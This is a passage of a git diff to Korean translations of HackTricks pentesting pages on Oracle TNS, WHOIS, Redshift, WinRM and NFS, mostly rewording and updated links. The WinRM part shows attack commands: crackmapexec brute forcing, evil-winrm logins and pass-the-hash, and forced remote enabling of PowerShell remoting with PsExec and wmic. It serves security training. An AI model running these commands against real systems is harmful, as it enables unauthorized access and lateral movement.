ํฌํŠธ (1521/TCP)์— ์œ„์น˜ํ•œ TNS-Listener์™€ ํ†ต์‹ ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค (1522โ€“1529์—์„œ ๋ณด์กฐ ๋ฆฌ์Šค๋„ˆ๋ฅผ ์–ป์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค). +Oracle์„ ์—ด๊ฑฐํ•  ๋•Œ ์ฒซ ๋ฒˆ์งธ ๋‹จ๊ณ„๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๊ธฐ๋ณธ ํฌํŠธ(1521/TCP)์— ์œ„์น˜ํ•œ TNS-Listener์™€ ํ†ต์‹ ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค(1522โ€“1529์—์„œ ๋ณด์กฐ ๋ฆฌ์Šค๋„ˆ๋ฅผ ์–ป์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค). ``` 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) 1748/tcp open oracle-tns Oracle TNS Listener @@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/ for more details check https://github.com/quentinhardy/odat/wiki -https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener +https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md index baebfc7cc..547b4acc4 100644 --- a/src/network-services-pentesting/43-pentesting-whois.md +++ b/src/network-services-pentesting/43-pentesting-whois.md @@ -11,14 +11,14 @@ PORT STATE SERVICE 43/tcp open whois? ``` -## ์—ด๊ฑฐ +## Enumerate -whois ์„œ๋น„์Šค๊ฐ€ ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๋ชจ๋“  ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค: +๋„๋ฉ”์ธ์— ๋Œ€ํ•œ whois ์„œ๋น„์Šค๊ฐ€ ๊ฐ€์ง„ ๋ชจ๋“  ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค: ```bash whois -h -p "domain.tld" echo "domain.ltd" | nc -vn ``` -WHOIS ์„œ๋น„์Šค์— ์ •๋ณด๋ฅผ ์š”์ฒญํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์‘๋‹ต์— ๋‚˜ํƒ€๋‚˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Œ์„ ์œ ์˜ํ•˜์‹ญ์‹œ์˜ค: +WHOIS ์„œ๋น„์Šค์— ์ •๋ณด๋ฅผ ์š”์ฒญํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์‘๋‹ต์— ๋‚˜ํƒ€๋‚˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค: ![](<../images/image (301).png>) @@ -41,7 +41,7 @@ Note: | The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information. -https://book.hacktricks.xyz/pentesting/pentesting-smtp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index 695d583ab..344194f2f 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -9,7 +9,7 @@ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: {{#ref}} -https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html {{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 2898fcef2..168e42f3d 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -6,7 +6,7 @@ [Windows Remote Management (WinRM)]()๋Š” **Microsoft**์—์„œ ๊ฐ•์กฐํ•˜๋Š” **Windows ์‹œ์Šคํ…œ์˜ ์›๊ฒฉ ๊ด€๋ฆฌ**๋ฅผ HTTP(S)๋ฅผ ํ†ตํ•ด ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” **ํ”„๋กœํ† ์ฝœ**์ž…๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์—์„œ SOAP๋ฅผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋ณธ์งˆ์ ์œผ๋กœ WMI์— ์˜ํ•ด ๊ตฌ๋™๋˜๋ฉฐ, WMI ์ž‘์—…์„ ์œ„ํ•œ HTTP ๊ธฐ๋ฐ˜ ์ธํ„ฐํŽ˜์ด์Šค๋กœ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. -๊ธฐ๊ณ„์— WinRM์ด ์กด์žฌํ•˜๋ฉด PowerShell์„ ํ†ตํ•ด ๊ฐ„๋‹จํ•œ ์›๊ฒฉ ๊ด€๋ฆฌ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋ฉฐ, ์ด๋Š” ๋‹ค๋ฅธ ์šด์˜ ์ฒด์ œ์˜ SSH์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. WinRM์ด ์ž‘๋™ ์ค‘์ธ์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ํŠน์ • ํฌํŠธ์˜ ๊ฐœ๋ฐฉ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค: +๋จธ์‹ ์— WinRM์ด ์กด์žฌํ•˜๋ฉด PowerShell์„ ํ†ตํ•ด ๊ฐ„๋‹จํ•œ ์›๊ฒฉ ๊ด€๋ฆฌ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋ฉฐ, ์ด๋Š” ๋‹ค๋ฅธ ์šด์˜ ์ฒด์ œ์˜ SSH์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. WinRM์ด ์ž‘๋™ ์ค‘์ธ์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ํŠน์ • ํฌํŠธ์˜ ๊ฐœ๋ฐฉ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** @@ -20,7 +20,7 @@ PowerShell์„ WinRM์— ๋งž๊ฒŒ ๊ตฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด Microsoft์˜ `Enable-PSRemotin Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ `trustedhosts` ๊ตฌ์„ฑ์— ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ๊ทธ ์˜๋ฏธ ๋•Œ๋ฌธ์— ์‹ ์ค‘ํ•œ ๊ณ ๋ ค๊ฐ€ ํ•„์š”ํ•œ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ๊ณต๊ฒฉ์ž์˜ ๋จธ์‹ ์—์„œ ๋„คํŠธ์›Œํฌ ์œ ํ˜•์„ "Public"์—์„œ "Work"๋กœ ๋ณ€๊ฒฝํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Œ์„ ์–ธ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค. +์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ `trustedhosts` ๊ตฌ์„ฑ์— ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•˜๋ฉฐ, ์ด๋Š” ๊ทธ ํ•จ์˜๋กœ ์ธํ•ด ์‹ ์ค‘ํ•œ ๊ณ ๋ ค๊ฐ€ ํ•„์š”ํ•œ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ๊ณต๊ฒฉ์ž์˜ ๋จธ์‹ ์—์„œ ๋„คํŠธ์›Œํฌ ์œ ํ˜•์„ "Public"์—์„œ "Work"๋กœ ๋ณ€๊ฒฝํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Œ์„ ์–ธ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€, WinRM์€ `wmic` ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ **์›๊ฒฉ์œผ๋กœ ํ™œ์„ฑํ™”**ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹œ์—ฐ๋ฉ๋‹ˆ๋‹ค: ```powershell @@ -36,11 +36,11 @@ wmic /node: process call create "powershell enable-psremoting -forc ```bash Test-WSMan ``` -์‘๋‹ต์—๋Š” ํ”„๋กœํ† ์ฝœ ๋ฒ„์ „ ๋ฐ wsmid์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด์•ผ ํ•˜๋ฉฐ, ์ด๋Š” WinRM์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„ค์ •๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. +์‘๋‹ต์—๋Š” ํ”„๋กœํ† ์ฝœ ๋ฒ„์ „ ๋ฐ wsmid์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ, ์ด๋Š” WinRM์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„ค์ •๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ![](<../images/image (582).png>) -- ๋ฐ˜๋Œ€๋กœ, WinRM์ด **๊ตฌ์„ฑ๋˜์ง€ ์•Š์€** ๋Œ€์ƒ์„ ์œ„ํ•ด์„œ๋Š” ๊ทธ๋Ÿฌํ•œ ์„ธ๋ถ€ ์ •๋ณด๊ฐ€ ์—†์œผ๋ฉฐ, ์ ์ ˆํ•œ WinRM ์„ค์ •์ด ์—†์Œ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค. +- ๋ฐ˜๋Œ€๋กœ, WinRM์— ๋Œ€ํ•ด **๊ตฌ์„ฑ๋˜์ง€ ์•Š์€** ๋Œ€์ƒ์„ ์œ„ํ•ด์„œ๋Š” ๊ทธ๋Ÿฌํ•œ ์„ธ๋ถ€ ์ •๋ณด๊ฐ€ ์—†์œผ๋ฉฐ, ์ด๋Š” ์ ์ ˆํ•œ WinRM ์„ค์ •์ด ์—†์Œ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค. ![](<../images/image (458).png>) @@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al ``` ![](<../images/image (151).png>) -ํ˜„์žฌ PS ์ฝ˜์†”์˜ **๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** _**Invoke-Command**_๋ฅผ ํ†ตํ•ด. ๋กœ์ปฌ์— _**enumeration**_์ด๋ผ๋Š” ํ•จ์ˆ˜๊ฐ€ ์žˆ๊ณ  **์›๊ฒฉ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด**, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +ํ˜„์žฌ PS ์ฝ˜์†”์˜ **๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** _**Invoke-Command**_๋ฅผ ํ†ตํ•ด. ๋กœ์ปฌ์— _**enumeration**_์ด๋ผ๋Š” ํ•จ์ˆ˜๊ฐ€ ์žˆ๊ณ  ์ด๋ฅผ **์›๊ฒฉ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด**, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` @@ -87,15 +87,15 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New **์„ธ์…˜์€ "ํฌ์ƒ์ž" ๋‚ด๋ถ€์˜ ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค(wsmprovhost)์—์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.** -### **WinRM ์—ด๊ธฐ ๊ฐ•์ œํ™”** +### **WinRM ๊ฐ•์ œ ์—ด๊ธฐ** -PS Remoting๊ณผ WinRM์„ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ํ•˜์ง€๋งŒ ์ปดํ“จํ„ฐ๊ฐ€ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ, ๋‹ค์Œ์„ ํ†ตํ•ด ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +PS Remoting๊ณผ WinRM์„ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ํ•˜์ง€๋งŒ ์ปดํ“จํ„ฐ๊ฐ€ ๊ตฌ์„ฑ๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ, ๋‹ค์Œ์„ ํ†ตํ•ด ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```powershell .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### ์„ธ์…˜ ์ €์žฅ ๋ฐ ๋ณต์› -์ด **์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค** ๋งŒ์•ฝ **์–ธ์–ด**๊ฐ€ ์›๊ฒฉ ์ปดํ“จํ„ฐ์—์„œ **์ œํ•œ๋˜์–ด** ์žˆ๋‹ค๋ฉด. +์ด **์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค** ๋งŒ์•ฝ **์–ธ์–ด**๊ฐ€ ์›๊ฒฉ ์ปดํ“จํ„ฐ์—์„œ **์ œํ•œ**๋˜์–ด ์žˆ๋‹ค๋ฉด. ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force @@ -115,18 +115,18 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ๋‹ค์Œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด: -`enter-pssession : ์›๊ฒฉ ์„œ๋ฒ„ 10.10.10.175์— ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค. ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€: WinRM ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ธ์ฆ ๋ฐฉ์‹์ด Kerberos์™€ ๋‹ค๋ฅด๊ฑฐ๋‚˜ ํด๋ผ์ด์–ธํŠธ ์ปดํ“จํ„ฐ๊ฐ€ ๋„๋ฉ”์ธ์— ๊ฐ€์ž…๋˜์–ด ์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ HTTPS ์ „์†ก์„ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๊ฑฐ๋‚˜ ๋Œ€์ƒ ์ปดํ“จํ„ฐ๋ฅผ TrustedHosts ๊ตฌ์„ฑ ์„ค์ •์— ์ถ”๊ฐ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. TrustedHosts๋ฅผ ๊ตฌ์„ฑํ•˜๋ ค๋ฉด winrm.cmd๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค. TrustedHosts ๋ชฉ๋ก์— ์žˆ๋Š” ์ปดํ“จํ„ฐ๋Š” ์ธ์ฆ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ ์ด์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: winrm help config. ์ž์„ธํ•œ ๋‚ด์šฉ์€ about_Remote_Troubleshooting ๋„์›€๋ง ์ฃผ์ œ๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค.` +`enter-pssession : ์›๊ฒฉ ์„œ๋ฒ„ 10.10.10.175์— ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค: WinRM ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ธ์ฆ ๋ฐฉ์‹์ด Kerberos์™€ ๋‹ค๋ฅด๊ฑฐ๋‚˜ ํด๋ผ์ด์–ธํŠธ ์ปดํ“จํ„ฐ๊ฐ€ ๋„๋ฉ”์ธ์— ๊ฐ€์ž…๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ HTTPS ์ „์†ก์„ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๊ฑฐ๋‚˜ ๋Œ€์ƒ ์ปดํ“จํ„ฐ๋ฅผ TrustedHosts ๊ตฌ์„ฑ ์„ค์ •์— ์ถ”๊ฐ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. TrustedHosts๋ฅผ ๊ตฌ์„ฑํ•˜๋ ค๋ฉด winrm.cmd๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค. TrustedHosts ๋ชฉ๋ก์— ์žˆ๋Š” ์ปดํ“จํ„ฐ๋Š” ์ธ์ฆ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ ์ด์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: winrm help config. ์ž์„ธํ•œ ๋‚ด์šฉ์€ about_Remote_Troubleshooting ๋„์›€๋ง ์ฃผ์ œ๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค.` ํด๋ผ์ด์–ธํŠธ์—์„œ ์‹œ๋„ํ•˜์‹ญ์‹œ์˜ค (์ •๋ณด๋Š” [์—ฌ๊ธฐ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)์—์„œ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค): ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ``` -## ๋ฆฌ๋ˆ…์Šค์—์„œ WinRM ์—ฐ๊ฒฐ +## WinRM ์—ฐ๊ฒฐ in linux -### ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ +### Brute Force -์ฃผ์˜ํ•˜์„ธ์š”, winrm์— ๋Œ€ํ•œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ์€ ์‚ฌ์šฉ์ž๋ฅผ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ฃผ์˜ํ•˜์„ธ์š”, winrm์˜ brute-forcing์€ ์‚ฌ์šฉ์ž๋ฅผ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt @@ -146,7 +146,7 @@ gem install evil-winrm ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` -**evil-winrm**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **IPv6 ์ฃผ์†Œ**์— ์—ฐ๊ฒฐํ•˜๋ ค๋ฉด _**/etc/hosts**_์— **๋„๋ฉ”์ธ ์ด๋ฆ„**์„ IPv6 ์ฃผ์†Œ๋กœ ์„ค์ •ํ•˜๋Š” ํ•ญ๋ชฉ์„ ๋งŒ๋“ค๊ณ  ํ•ด๋‹น ๋„๋ฉ”์ธ์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. +**evil-winrm**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **IPv6 ์ฃผ์†Œ**์— ์—ฐ๊ฒฐํ•˜๋ ค๋ฉด _**/etc/hosts**_ ํŒŒ์ผ์— **๋„๋ฉ”์ธ ์ด๋ฆ„**์„ IPv6 ์ฃผ์†Œ๋กœ ์„ค์ •ํ•˜์—ฌ ํ•ญ๋ชฉ์„ ์ƒ์„ฑํ•˜๊ณ  ํ•ด๋‹น ๋„๋ฉ”์ธ์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. ### evil-winrm์œผ๋กœ ํ•ด์‹œ ์ „๋‹ฌํ•˜๊ธฐ ```ruby @@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) -https://book.hacktricks.xyz/pentesting/pentesting-winrm +https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html Entry_2: Name: Hydra Brute Force diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index e464fbb32..85d6e5573 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -8,7 +8,7 @@ ์ด ํ”„๋กœํ† ์ฝœ์˜ ์ฃผ๋ชฉํ•  ๋งŒํ•œ ์ ์€ ๋‚ด์žฅ๋œ **์ธ์ฆ** ๋˜๋Š” **๊ถŒํ•œ ๋ถ€์—ฌ ๋ฉ”์ปค๋‹ˆ์ฆ˜**์ด ์—†๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋Œ€์‹ , ๊ถŒํ•œ ๋ถ€์—ฌ๋Š” **ํŒŒ์ผ ์‹œ์Šคํ…œ ์ •๋ณด**์— ์˜์กดํ•˜๋ฉฐ, ์„œ๋ฒ„๋Š” **ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณตํ•œ ์‚ฌ์šฉ์ž ์ •๋ณด**๋ฅผ ํŒŒ์ผ ์‹œ์Šคํ…œ์—์„œ ์š”๊ตฌํ•˜๋Š” **๊ถŒํ•œ ๋ถ€์—ฌ ํ˜•์‹**์œผ๋กœ ์ •ํ™•ํ•˜๊ฒŒ ๋ณ€ํ™˜ํ•˜๋Š” ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ฃผ๋กœ **UNIX ๊ตฌ๋ฌธ**์„ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. -์ธ์ฆ์€ ์ผ๋ฐ˜์ ์œผ๋กœ **UNIX `UID`/`GID` ์‹๋ณ„์ž ๋ฐ ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ**์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํด๋ผ์ด์–ธํŠธ์™€ ์„œ๋ฒ„ ๊ฐ„์˜ **`UID`/`GID` ๋งคํ•‘**์˜ ๋ถˆ์ผ์น˜๋กœ ์ธํ•ด ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋ฒ„์— ์˜ํ•œ ์ถ”๊ฐ€ ๊ฒ€์ฆ์˜ ์—ฌ์ง€๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ํ”„๋กœํ† ์ฝœ์€ ์ด๋Ÿฌํ•œ ์ธ์ฆ ๋ฐฉ๋ฒ•์— ์˜์กดํ•˜๊ธฐ ๋•Œ๋ฌธ์— **์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๋„คํŠธ์›Œํฌ** ๋‚ด์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค. +์ธ์ฆ์€ ์ผ๋ฐ˜์ ์œผ๋กœ **UNIX `UID`/`GID` ์‹๋ณ„์ž ๋ฐ ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ**์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํด๋ผ์ด์–ธํŠธ์™€ ์„œ๋ฒ„ ๊ฐ„์˜ **`UID`/`GID` ๋งคํ•‘**์˜ ๋ถˆ์ผ์น˜๋กœ ์ธํ•ด ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋ฒ„์— ์˜ํ•œ ์ถ”๊ฐ€ ๊ฒ€์ฆ์˜ ์—ฌ์ง€๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ํ”„๋กœํ† ์ฝœ์€ ์ธ์ฆ ๋ฐฉ๋ฒ•์— ์˜์กดํ•˜๊ธฐ ๋•Œ๋ฌธ์— **์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๋„คํŠธ์›Œํฌ** ๋‚ด์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ**: 2049/TCP/UDP (๋ฒ„์ „ 4๋ฅผ ์ œ์™ธํ•˜๊ณ , TCP ๋˜๋Š” UDP๋งŒ ํ•„์š”ํ•จ). ``` @@ -16,13 +16,13 @@ ``` ### Versions -- **NFSv2**: ์ด ๋ฒ„์ „์€ ๋‹ค์–‘ํ•œ ์‹œ์Šคํ…œ๊ณผ์˜ ๊ด‘๋ฒ”์œ„ํ•œ ํ˜ธํ™˜์„ฑ์œผ๋กœ ์ธ์‹๋˜๋ฉฐ, ์ดˆ๊ธฐ ์ž‘์—…์ด ์ฃผ๋กœ UDP๋ฅผ ํ†ตํ•ด ์ด๋ฃจ์–ด์กŒ๋‹ค๋Š” ์ ์—์„œ ์ค‘์š”์„ฑ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. **๊ฐ€์žฅ ์˜ค๋ž˜๋œ** ๋ฒ„์ „์œผ๋กœ์„œ, ํ–ฅํ›„ ๊ฐœ๋ฐœ์˜ ๊ธฐ์ดˆ๋ฅผ ๋งˆ๋ จํ–ˆ์Šต๋‹ˆ๋‹ค. +- **NFSv2**: ์ด ๋ฒ„์ „์€ ๋‹ค์–‘ํ•œ ์‹œ์Šคํ…œ๊ณผ์˜ ํญ๋„“์€ ํ˜ธํ™˜์„ฑ์œผ๋กœ ์ธ์‹๋˜๋ฉฐ, ์ฃผ๋กœ UDP๋ฅผ ํ†ตํ•œ ์ดˆ๊ธฐ ์ž‘์—…์œผ๋กœ ๊ทธ ์ค‘์š”์„ฑ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. **๊ฐ€์žฅ ์˜ค๋ž˜๋œ** ๋ฒ„์ „์œผ๋กœ์„œ, ํ–ฅํ›„ ๊ฐœ๋ฐœ์„ ์œ„ํ•œ ๊ธฐ์ดˆ๋ฅผ ๋งˆ๋ จํ–ˆ์Šต๋‹ˆ๋‹ค. -- **NFSv3**: ๋‹ค์–‘ํ•œ ๊ฐœ์„  ์‚ฌํ•ญ๊ณผ ํ•จ๊ป˜ ๋„์ž…๋œ NFSv3๋Š” ๊ฐ€๋ณ€ ํŒŒ์ผ ํฌ๊ธฐ๋ฅผ ์ง€์›ํ•˜๊ณ  ํ–ฅ์ƒ๋œ ์˜ค๋ฅ˜ ๋ณด๊ณ  ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์ œ๊ณตํ•จ์œผ๋กœ์จ ์ด์ „ ๋ฒ„์ „์„ ํ™•์žฅํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ 